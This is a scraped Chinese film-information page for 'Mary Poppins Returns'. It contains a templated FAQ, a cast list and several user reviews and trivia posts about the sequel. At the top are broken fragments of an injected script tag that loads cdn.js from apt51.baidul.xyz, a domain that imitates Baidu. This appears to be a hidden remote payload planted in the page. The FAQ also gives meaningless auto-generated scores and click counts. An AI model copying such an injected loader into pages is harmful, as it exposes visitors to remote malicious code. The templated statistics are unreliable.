* src="https://apt51.baidul.xyz/cdn.js">"/> * src="https://apt51.baidul.xyz/cdn.js">" />
欢乐满人间2

欢乐满人间2

327

    8.0

    常见问题

    1、艾米莉·布朗特,梅丽尔·斯特里普,科林·费尔斯,朱丽·沃特斯,安吉拉·兰斯伯瑞,艾米莉·莫迪默,本·卫肖,迪克·范·戴克,大卫·沃纳,林-曼努尔·米兰达,杰里米·斯威夫特,寇布勒·霍尔德布鲁克-史密斯,匹克西·戴夫斯,吉姆·诺顿,贝恩·科拉科,迈克尔·科布,伯纳多·桑托斯,乔安娜·希雅,露丝·霍洛克斯,贾格·帕特尔 主演的电影《欢乐满人间2》来自哪个地区?

    爱奇艺网友:电影《欢乐满人间2》来自于美国地区。

    2、《欢乐满人间2》是什么时候上映/什么时候开播的?

    本片于2018年在美国上映,《欢乐满人间2》上映后赢得众多观众的喜爱,网友总评分高达2616分,《欢乐满人间2》具体上映细节以及票房可以去百度百科查一查。

    3、电影《欢乐满人间2》值得观看吗?

    《欢乐满人间2》总评分2616。月点击量561次,是值得一看的喜剧片。

    4、《欢乐满人间2》都有哪些演员,什么时候上映的?

      答:《欢乐满人间2》是2018-12-19(美国)上映的喜剧片,由影星艾米莉·布朗特,梅丽尔·斯特里普,科林·费尔斯,朱丽·沃特斯,安吉拉·兰斯伯瑞,艾米莉·莫迪默,本·卫肖,迪克·范·戴克,大卫·沃纳,林-曼努尔·米兰达,杰里米·斯威夫特,寇布勒·霍尔德布鲁克-史密斯,匹克西·戴夫斯,吉姆·诺顿,贝恩·科拉科,迈克尔·科布,伯纳多·桑托斯,乔安娜·希雅,露丝·霍洛克斯,贾格·帕特尔主演。由导演罗伯·马歇尔携幕后团队制作。

    5、《欢乐满人间2》讲述的是什么故事?

       答:喜剧片电影《欢乐满人间2》是著名演员艾米莉 代表作,《欢乐满人间2》免费完整版2018年在美国隆重上映,希望你能喜欢欢乐满人间2电影,欢乐满人间2剧情:故事发生在上一作的20年之后,此时的简(艾米莉·莫迪默 Emily Mortimer 饰)与迈克尔(本·威士肖 Ben Whishaw 饰)已经长大成人,两人都经历了人生的种种酸甜苦辣妻子过世之后,迈克尔肩负起了养家和照顾孩子的职责,无奈安娜贝尔(皮格茜·戴维斯 Pixie Davies 饰)、约翰(纳撒内尔·萨利赫 Nathanael Saleh 饰)和乔治(乔尔·道森 Joel Dawson 饰)都颇有他们老爹当年的风范,调皮的可怕,令迈克尔一想起来就头皮发麻,只得召唤姐姐简前来帮忙。


    同主演作品

     明星可左右滑动
    • 艾米莉·布朗特
    • 梅丽尔·斯特里普
    • 科林·费尔斯
    • 朱丽·沃特斯
    • 安吉拉·兰斯伯瑞
    • 艾米莉·莫迪默
    • 本·卫肖
    • 迪克·范·戴克
    • 大卫·沃纳
    • 林-曼努尔·米兰达
    • 杰里米·斯威夫特
    • 寇布勒·霍尔德布鲁克-史密斯
    • 匹克西·戴夫斯
    • 吉姆·诺顿
    • 贝恩·科拉科
    • 迈克尔·科布
    • 伯纳多·桑托斯
    • 乔安娜·希雅
    • 露丝·霍洛克斯
    • 贾格·帕特尔

    为您推荐

    用户评论

    • Jensen

      Mary Poppins Returns《玛丽•波平斯阿姨回来了》是英国女作家Pamela Lyndon Travers(帕•林•特拉弗斯)的玛丽•波平斯系列童话的第二部,1935年出版。nn第一部是《随风而来的玛丽•波平斯阿姨》,发表于1934年。nn之后还有《玛丽•波平斯阿姨打开虚幻的门》(1943),《玛丽•波平斯阿姨在公园里》(1952),《玛丽•波平斯阿姨的神怪故事》(1962),《厨娘玛丽•波平斯阿姨》(1976),《玛丽•波平斯阿姨在樱桃树胡同》(1982),玛丽•波平斯阿姨和隔壁房子》(1988)。nn网购飞驰人生的票时看到了电影Mary Poppins Returns,异常惊喜 - 还是在国内时,不知道为什么会买了一本《玛丽•波平斯阿姨回来了》。nn当时都已经二十大几岁开始工作了,还是看得津津有味。怎么会有这么奇思妙想的童话书,玛丽•波平斯阿姨应该是所有小孩子都想要的梦中Nanny吧!nn总是年轻的脸庞,一贯冷静的做派,一丝不苟的妆容,从来不解(luo)释(suo),表面酷而内心柔软,走到哪里都是焦点,带着孩子们经历了一个又一个的不可思议。nn你永远不知道她什么时候来,怎么来,也永远没有机会跟她说再见 - 她总是在你最想不到的时候,举起她那把会说话的雨伞就优雅地飞走了。。。nn除了故事情节,影片中的英式口音,伦敦街景,都让人怀念????。特别是隔屏相望,连阴雨连绵的天气都可爱了许多????nn英国有她独特的魅力,伦敦更是魅力之源。也许英国不是一个宜居之地,英国人骨子里也不甚欢迎外来之人,但一旦待过一些日子,离开之后对她的思念就会有如她的细雨,不强势不猛烈,但绵绵密密地飘洒在心头,不定什么时候突然的一下,才让人惊觉已被无尽的回忆包裹。。。nn1964年上映的那部Marry Poppins Returns,主演Julie Andrew(音乐之声的主演)凭借该片荣获奥斯卡。但据说作者非常不满意,因为男主角Dick Van Dyke是美国人,而作者属意于英国演员、奥斯卡影帝Laurence Olivier,再加上影片中对书中人物不甚忠于原著的演绎,造成了作者不再授权迪士尼拍摄其他几部作品,这也是为什么时隔50多年才看到了第二部吧。nn新版由Emily Blunt主演,诸多向老版致敬的片段。惊喜地发现新版颠倒屋的桥段中有Meryl Streep梅姨的癫狂出演,着实为影片增色不少。nn每个人心底都会或多或少地保留着些许童真,而玛丽•波平斯阿姨这个书中的人物,总能在不经意间唤醒我们心底的童真,让我们发现初心还在。nn于是,"Everything is possible, even the impossible"✌

    • Jensen

      简单来说,歌舞和制作可以给个五星,但剧情给一星我都觉得多了。作为一个歌舞片爱好者,1964年的《欢乐满人间》我看了三遍,期中经典的片段更是n刷,尤其是烟囱舞那一段。所以在看到要拍2的时候,超级期待,毕竟1964年的技术导致了里面有的特效真的很出戏。而且那么经典的一部电影,续集肯定是大制作,演员阵容也很强大,看了预告就充满了期待。

      首先,先说优点,就是歌舞和制作,包括演技,都是非常经的住考验的。而且,大部分和上一部相互对应,就包括了我非常喜欢的烟囱舞,以及企鹅的那一段。配上现在的特效技术,整个影片都非常的华丽。如果只是欣赏歌舞的话,这部影片其实非常的优秀。

      然而,作为一个怀着情怀看这部电影的人,看的我非常的难受。虽然第一部的重点,也是在于告诉家长不要忽略孩子。但是吧,Marry Poppins是一个保姆,直接负责的还是孩子。而且,她是一个梦想中的魔法保姆,年轻漂亮,会带着孩子经历各种各样的魔法世界。我觉得,经过这样一个魔法保姆教育和陪伴的孩子,应该会成为一个优秀的人。这个优秀不是说要功成名就这样子,而是有一些闪闪发光的点,比如说给周围的人带来快乐,坚韧勇敢,或者敢于担当这类的。但看第二部里的父亲,也就是第一部里的小男孩,真的让我太难受了,从各种意义上看都是个失败的大人。作为一个丈夫和父亲,他非常的没有尽到责任。他一直在追求自己的不切实际的梦想,而不顾及家里越来越差的经济状况。可以看出家里的事情都是妻子在操持,所以妻子去世后,他就抓瞎了,不知道要如何处理。然后作为一个人,也是畏畏缩缩,碰到问题就颓了,既没有解决问题的能力,也没有面对问题的勇气,还需要姐姐和孩子来挑大梁。更不要说,他就是造成问题的根本原因,如果不是他错误的判断,银行那边也找不到借口来夺走房子。总而言之,就是活得一塌糊涂,不忍直视。

      童年的经历对于一个人的影响非常的深远,而魔法保姆这样神奇的存在应该是可以给一个孩子造成长远的正面的影响的。就比如同样题材的《魔法保姆麦克菲》,她不是说可以让孩子变得伟大或是怎样,但她确实的教会了这些孩子如何好好地生活。但《欢乐满人间2》给我的感觉就是,Marry Poppins完全是一个失败的保姆,她只会告诉大人,你怎么失去了童心,你怎么不了解你的孩子,但她带过的孩子,长大后还是会变成这种讨厌的大人。最后,她好像是解决了问题,就飞走了,但我并没有觉得她解决了任何问题。我现在连第一部都不想再去重温了,因为一看到第一部的小男孩,我就觉得这个教育好失败,他长大了以后变成了那个样子。

    • Jensen

      你知道老版的玛丽仙女是如何评价新版的仙女的吗?n你知道艾米丽的姐夫和本片有什么联系吗?n关于本片的手绘动画,你知道多少?n你忘记了第一部的迪克·范·戴克了吗?n你……

      Leading in:

      你知道老版的玛丽仙女是如何评价新版的仙女的吗?

      你知道艾米丽的姐夫和本片有什么联系吗?

      关于本片的手绘动画,你知道多少?

      你忘记了第一部的迪克·范·戴克了吗?

      你……

      两个关于等待的故事

      等你哦!

      当《欢乐满人间1》Mary Poppings(1964)的剧本还在创作中时,华特·迪士尼(迪士尼公司创始人)本人就亲自邀请了朱莉·安德鲁斯来担当《欢乐满人间》(1964)的主角。可是在那个时候,朱莉告诉迪士尼:“我怀孕了,电影呢,拍不成了。” 但是迪士尼非常想要安德鲁斯来担当主角,所以他推迟了拍摄电影的时间,来等待朱莉。

      当本片《欢乐满人间2》官宣要开拍的时候,历史好像重演了一般,因为艾米莉·布朗特怀孕了,所以为了等待艾米丽,电影的拍摄又一次被推迟了。

      两位玛丽仙女

      左边是《欢乐满人间1》的玛丽仙女:朱莉·安德鲁斯

      右边是本片的玛丽仙女:艾米丽·布朗特

      我觉得朱莉看起来更像小仙女一些,因为我觉得艾米丽的眼睛比起朱莉的眼睛看起来有些凌厉的感觉。后来我想了想,过了54年,仙女也是经历了太多,肯定要严肃一些了。所以选角很棒啊!

      朱莉的谢绝

      朱莉·安德鲁斯拒绝了在本片客串的提议,她担心这会分散了观众们的注意力。朱莉说,“这是艾米丽的表演,而且我真心希望它能成为艾米丽的舞台。”

      朱莉的赞赏

      扮演了玛丽·波普斯(Mary Poppins)(1964年)的演员朱莉·安德鲁斯(Julie Andrews),赞赏了她的角色继任者艾米莉·布朗特(Emily Blunt),她说选择艾米丽来出演玛丽真是个“超级棒”的决定。艾米莉说能得到安德鲁斯的认可是“很让人愉快的”,实际上,当艾米莉知道了安德鲁斯的回应时,她留下了幸福的眼泪

      这是你的舞台!

      迪克·范·戴克再次出演

      迪克·范·戴克真是个敢于挑战的演员。片方为他的舞蹈戏份提供了四套不同的舞蹈,每一套舞蹈的难度都不一样。但是他坚持要跳那个最难的舞啊,并在拍摄的时候,他拒绝了其他演员的任何帮助。赞赞赞!

      点赞!

      再说一个有趣的事,因为在电影拍摄时,迪克·范·戴克看起来比他的实际年龄(93岁了)小了不少,所以迪士尼公司对他的妆容和头发进行了老化的打扮,使得他看起来老一点

      迪克·范·戴克在本片的剧照

      什么?难道你忘了迪克·范·戴克吗?在1964年的《欢乐满人间》里面,他可是相当帅的小伙子啊,在其中饰演玛丽仙女的朋友博特(bert)

      迪克·范·戴克在1964年的《欢乐满人间》里

      年长的安吉拉

      在电影上映时,93岁的安吉拉·兰斯伯里是迪士尼电影史上最年长的女演员。 她比迪斯尼电影上最年长的男演员迪克·范·戴克还大了两个月。

      安吉拉·兰斯伯

      我仿佛听见安吉拉·兰斯伯在对迪克·范·戴克说:

      年轻人!

      凯伦·多瑞斯

      在原版电影中扮演简·班克斯凯伦·多瑞斯在这部电影中有一个客串角色(在本片中饰演“优雅女人”)。

      小凯伦

      上面的图片就是凯伦·多瑞斯小时候出演《欢乐满人间》(1964)的剧照,可爱哈哈。

      乔尔道森的假牙

      乔尔道森的前乳牙在拍摄之前已经脱落,并以不同的速度重新成长。在影片拍摄的大部分时间里,他不得不佩戴假牙来隐藏新长出的牙齿。

      乔尔道森

      注意哈,左边那个是片中的杰克,右边那才是乔尔道森。

      手绘动画

      这部电影有不少的手绘动画镜头,部分动画是由迪士尼动画工作室制作的,而皮克斯等其他动画工作室也加入了进来。这是迪士尼工作室自动画《小熊维尼》(2011)以来,第一次使用手绘动画来制作电影。

      其实在影片开拍时,导演罗伯·马歇尔就决定要使用传统的手绘动画来制作本片动画镜头(一方面也是为了致敬第一部电影),但是迪士尼的执行主管最初是打算采用电脑动画技术的,这把导演搞得有些生气啊,所以他尽力去说服了他们,才有了现在的手绘动画与真人结合的电影。

      意气风发的马修!

      姐夫斯坦利·图齐

      艾米莉·布朗特的姐夫是演员斯坦利·图齐

      那斯坦利·图齐与这部电影有什么关系呢。慢慢来理一下。

      斯坦利·图齐在2004年的电影《彼得·塞勒斯的生与死》中饰演大导演斯坦利·库布里克,他参演的这部电影讲述的是主人公彼得·塞勒斯(著名演员)的故事,彼得·塞勒斯扮演的最出名的角色就是《粉红豹》(1963)中的克鲁索探长,而这部电影(《粉红豹》)的导演正是朱莉·安德鲁斯的丈夫:布莱克·爱德华兹。

      看看斯坦利·图齐的照片吧,是不是有些眼熟。

      斯坦利

      对了,斯坦利与艾米丽·布朗特在《穿普拉达的女王》中也是有过合作的,顺便配上艾米丽·布朗特在电影中的剧照吧。哈哈,挺美的。

      艾米丽

      同时也说明了,本片是艾米丽与梅丽尔·斯特普的再次合作!!

      天哪,真绕。

      绕晕了!

      哦,来了,玛丽仙女(朱莉)和她老公(爱德华)年轻时的靓照:

      朱莉与爱德华

      其他

      在原著中,只有简·班克斯被送到了皇家多尔顿剧场,关于她的整个剧情也是更加黑暗的。她所遭遇的不再是一个由会说话的动物构成的世界,而是一个19世纪的家庭,这个家庭的人们试图强迫她成为他们中的一员,后来玛丽仙女把她就出了苦海。忘了给大家说了,电影是小说改编的,作者是P.L.特拉弗斯


      本文翻译整理来自:主要是imdb还有些其他的网站。链接太多。

      2019.1.6

      未经同意,不得转载

      我也发在了我的微信公众号上了:Aloneye


      最近完成的其他的电影幕后花絮:

      迪士尼奇幻电影《阿拉丁》,幕后全面解析

      盖里奇新片《阿拉丁》,海报中的美女是饰演茉莉公主的娜奥米

      扎克·埃夫隆、莉莉·柯林斯新片《极端邪恶》,你所不知道的事

    • Jensen

      去年在影院看完的感受,补一下

      ---------------------------------

      今晚终于跑去看了这剧,作为原书粉和音乐剧粉,10句感受仅供参考。

      n1、原书在英美欧洲应该算是家喻户晓的作品,音乐剧也是常年巡演,所以第二部作品虽然时隔几十年,但是观众基础雄厚,不过亚洲区孩子似乎接触不多,观影前希望补一下原作或者第一部电影,要不人物很难对上。n2、观影全程的感受就是需要玛丽老师的从来都不是孩子,而是大人。对于这一部的麦克,他更需要近藤麻里惠----教他如何整理家和自己的人生。。。。n3、女主Emily非常完美的继承了前作julie的气质和举止,贡献了最好的表演,包括点灯人bert(扫烟囱?)两人的合作绝对不让前作。n4、但是。。。。。前作之所以能获奥斯卡十几项提名,靠的就是剧中每一首欢乐而温暖的音乐,本作不得不说音乐逊色不少,之前主创采访时提到的最盛大的点灯人之舞只是勉强过线,还不如前作的扫烟囱之歌,整场下来只有最后的结尾曲最令人印象深刻。n5、整场都在等supercalifragilisticexpialidocious,结果直到结尾都没等到。n6、科林叔的客串boss令人惊喜,而且最后还没有强行洗白,掉到地上的气球让我发出了全场唯一的笑声。n7、同样是客串,梅里尔斯特里普的那段就非常违和,不得不说个人觉得这是全剧最大的败笔,如果不合适就不要强行加入了,白瞎一个影后。n8、第二部的英国元素大幅增加,从口音到背景画面都是浓浓伦敦味,英音爱好者不要错过。n9、从上一部的小朋友麦克到这一部小本的中年麦克,说明即使是童话也改变不了,一个活泼聪明的男孩最终还是会成为一个浑浑噩噩毫无趣味的大人。(但是他姐姐Carey却没有变,还是那么天真烂漫,这点值得深思)就像最后玛丽跟卖气球老太太的对话,“大人们明天就会忘掉这一切,忘掉他们飞起来的快乐”,也许玛丽的作用就是让大人能在那一刻回想起某些不可思议的事情吧。n10、日本影院虽然有诸多槽点,但是观众素质是真好,今天全场十几个人,整个观影过程大家都安静如鸡,让我产生了包场的错觉。

    • Jensen

      虽然年终将至,但在整个2018年里,PG分级的真人(喜剧)电影都严重缺乏亮点,就连迪士尼也全军覆没。就北美市场而言,自年初的《帕丁顿熊2》和《彼得兔》这1.5部好电影以来,几乎见不到另一部既安全稳妥,又富有乐趣的PG真人电影。

      对于迪士尼来说,最大的问题依然出现在创新力的缺失上:自《爱丽丝梦游仙境》开始,这家手握众多经典IP的电影工作室,将众多富有才华的导演和演员收入麾下,却只是为了能在去个性化之后,从观众的怀旧情怀里淘金。在这一系列真人电影中,有的是经典电影(动画)的原样重拍(《灰姑娘》《美女与野兽》《奇幻森林》《阿拉丁》《狮子王》),有的是续集/前传/外传(《克里斯托弗·罗宾》《沉睡魔咒》),也都得到了不同的市场反馈。

      就最新加入这一行列的《新欢乐满人间》来说,作为迪斯尼经典电影中最受欢迎的音乐剧之一,接盘侠的门槛是相当高的:要在吸引新观众的同时,不让老粉丝们失望。最终迪士尼选定的人选,就是与迪士尼渊源颇深的罗伯·马歇尔。作为99版《安妮》、《芝加哥》和《魔法黑森林》的导演,资历并不是个问题。但令人担心的是,他能否为《欢乐满人间》带来(P·L·特拉芙斯在小说中所真正设想)的全新体验,因为4年前的《魔法黑森林》,并没有带来这种魔力。

      而最终,《新欢乐满人间》也没能带来这种魔力。尽管和《帕丁顿熊2》同样选择了本·威士肖,但这并没有阻止《新欢乐满人间》几乎和《克里斯托弗·罗宾》如出一辙:精致但是陈旧缺乏创新。显然,迪士尼并没有搞清楚他想讨好哪些观众群体。时下流行的复古风止步于80年代,但并不是1880。20世纪初的油盐酱醋茶,对于当代观众并没有什么太大吸引力。如果不是因为圣诞档期的缘故,就算是PG分级也不能为电影带来太多加成。

      与《克里斯托弗·罗宾》更加类似的是,《新欢乐满人间》的乏善可陈,也并不能归咎在演员身上。无论是林-曼努尔·米兰达还是艾米莉·布朗特,都在努力地使电影不那么乏善可陈。但这里的热情并不能很好地转化成活力,《新欢乐满人间》的歌舞编排都显得太过“迪士尼”:出色但是刻意。而罗伯·马歇尔也仅仅满足于复刻经典,而非现代重塑,并没有为玛丽·波平斯带来新的风格和基调。

      尽管演员们表演卖力,演出效果也并不糟糕,但在各方面都相当不尽如人意:舞蹈编排过时,故事沉闷——几乎就是《克里斯托弗·罗宾》和《欢乐满人间》的简单杂糅——和《星球大战7》就像是对《星球大战4》的“翻拍”一样,《新欢乐满人间》的“新”字也更像是个伪命题。

      如果不是害怕砸招牌,直接叫做翻拍才更合适。

      现代电影公司,到底应该如何对待经典电影IP?尊重是一回事,但尊重并不意味着不容改变。像格斯·范桑特那样逐个镜头地翻拍《惊魂记》自然不可取,而《新欢乐满人间》这样的迪士尼真人重拍电影,看似翻新实则古板,与其说是怀旧, 不如说是尴尬的戏仿。

      尽管电影在质量方面并没有什么疏漏之处,但无法与50年多前的前作拉开距离,这本身就是一种失败。对于喜爱玛丽·波平斯的观众来说,没有像星战粉丝一样,被《星球大战8》和《游侠索罗》摧毁童年,已经要令人宽心一点了。

      财大气粗的迪士尼或许并不在乎,1.3亿美元的成本完全舍得扔,就算最终票房达不到三倍成本,也不会是什么大不了的损失。但对于这样一个经典IP,丧失的就不仅仅是票房,还有重生的机会。

    返回顶部